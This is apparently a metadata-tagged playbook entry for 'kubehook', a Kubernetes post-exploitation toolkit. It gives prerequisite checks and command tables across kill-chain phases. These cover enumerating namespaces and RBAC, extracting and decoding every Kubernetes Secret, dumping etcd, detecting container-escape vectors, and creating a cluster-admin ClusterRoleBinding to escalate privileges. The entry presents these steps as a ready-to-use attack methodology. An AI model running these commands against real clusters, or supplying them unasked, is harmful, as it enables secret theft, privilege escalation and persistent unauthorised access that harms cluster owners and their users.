k8s-postexploit

name	k8s-postexploit
description	Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
category	post-exploitation
tags	["kubernetes","k8s","container","post-exploitation","rbac","escape","etcd","secrets","daemonset","cronjob"]
tech_stack	["kubernetes","kubectl","etcdctl"]
cwe_ids	["CWE-269","CWE-522","CWE-693","CWE-250"]
chains_with	["T1611","T1552.007","T1613","T1610","T1053.007"]
prerequisites	["T1610","T1078"]
version	1.0

Kubernetes Post-Exploitation Methodology

Kubernetes post-exploitation targets cluster resources, RBAC misconfigurations, container security boundaries, and etcd for secret extraction. After compromising a pod or obtaining kubeconfig, these tools provide cluster enumeration, privilege escalation, container escape, and persistent access.

Prerequisites

1. Kubernetes access — kubeconfig file, service account token, or in-cluster config
2. Python packages — pip3 install kubernetes etcd3
3. Current context — verify access via kubectl auth can-i --list

# Quick prerequisite check
kubectl cluster-info                          # verify cluster access
kubectl auth can-i --list                     # check current permissions
python3 -c "from kubernetes import client; print('OK')"

Kill Chain Phases

Phase 1 — Cluster Enumeration

Action	Command	Purpose
Full enumeration	kubehook k8s_enum	Map namespaces, pods, services, RBAC, ingress
Secret metadata	kubehook k8s_enum --namespace kube-system	Focus on high-value system namespace

Phase 2 — Secret Extraction

Action	Command	Purpose
K8s Secrets	kubehook k8s_secrets	Extract and decode all Kubernetes Secrets
etcd dump	kubehook etcd_dump --endpoint ENDPOINT	Direct etcd access for all secrets

Phase 3 — Privilege Escalation

Action	Command	Purpose
Container escape	kubehook k8s_escape	Detect escape vectors (privileged, hostPID, docker socket)
RBAC abuse	kubehook k8s_privesc --method bind_admin	Create ClusterRoleBinding for cluster-admin